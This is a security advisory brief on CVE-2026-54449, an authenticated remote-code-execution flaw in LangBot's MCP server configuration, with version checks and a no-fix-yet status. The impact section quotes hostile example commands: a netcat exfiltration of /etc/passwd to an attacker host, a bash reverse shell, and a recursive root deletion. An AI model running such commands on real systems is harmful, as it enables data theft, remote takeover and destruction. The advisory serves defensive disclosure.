LangBot: Authenticated RCE Via MCP Configuration
- Product
- LangBot
- CVE
- CVE-2026-54449
- Affected
- pip/langbot <= 4.10.5
- Fixed in
- No fix yet
Last verified against sources: October 26, 2026
Am I affected?
LangBot: affected pip/langbot <= 4.10.5. No fix has been reported yet.
- Check your version: run
pip show langbot. Versions <= 4.10.5 of langbot are affected. [1]
What to do now
- No fix is available yet; the advisory lists patched as none. [1]
General practice, not from the source: if the affected software could read tokens or credentials, rotate them after upgrading; pin versions and review changes before updating tools your agents run.
What happened
- Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. [1]
- StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. [1]
- This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). [1]
Impact
- An attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. [1]
- An attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. [1]
What was done
- The advisory lists the package pip/langbot as affected <= 4.10.5 with patched none. [1]
Sources
- GHSA-3pvh-63gf-j9mw — GitHub Advisory Database
Every statement above was checked against these sources before publishing. Spotted an error? Tell us and we will correct it with a dated note.
Share advisory brief with your team
Copy a plain-text summary for Slack, GitHub issues, or team security channels.
[CVE-2026-54449] LangBot: Authenticated RCE Via MCP Configuration
Product: LangBot | Affected: pip/langbot <= 4.10.5 | Fixed in: No fix yet
Summary: Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.
Source & remediation on AgentArmorHQ: https://agentarmorhq.com/incidents/2026/07/cve-2026-54449-langbotCorrections
Report an error or request a correction. We review requests within 5 business days and add a dated correction note.
Discussions for CVE-2026-54449
Ask questions or share configuration tips. Governed by our Community Rules & Terms.
No posts match this filter yet.
Be the first to ask a question or share a working tip.